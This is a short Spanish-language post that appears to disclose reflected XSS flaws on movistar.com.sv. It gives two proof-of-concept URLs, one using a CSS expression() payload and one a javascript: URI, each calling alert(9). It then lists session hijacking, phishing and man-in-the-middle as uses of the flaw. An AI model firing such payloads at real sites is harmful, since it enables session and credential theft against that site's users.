(Xss/JavaScript)(Movistar Salvador) movistar.com.sv

Yei zeta post

http://www.movistar.com.sv/sv/root/partic_inter_35g.aspx?srcd=/%22%20stYle=%22x:expre/**/ssion(alert(9))(yeizeta report)
http://www.movistar.com.sv/sv/root/partic_movil_servicios.aspx?srcd=javascript:alert%289%29


XSS (Cross-site Scripting) permite a un atacante ejecutar un script dinámico (JavaScript, VBScript) en el contexto de la aplicación. Esto permite varias posibilidades de ataque diferentes, en su mayoría secuestro de la sesión actual del usuario o cambiar la apariencia de la página, cambiando el código HTML sobre la marcha para robar las credenciales del usuario. Esto sucede porque la entrada introducida por un usuario se ha interpretado como HTML / Javascript / VbScript por el navegador.

Que puedo hacer con esta falla?

Hi-jacking sesión activa de los usuarios.
Montaje de los ataques de phishing.
Intercepción de datos y realizar man-in-the-middle.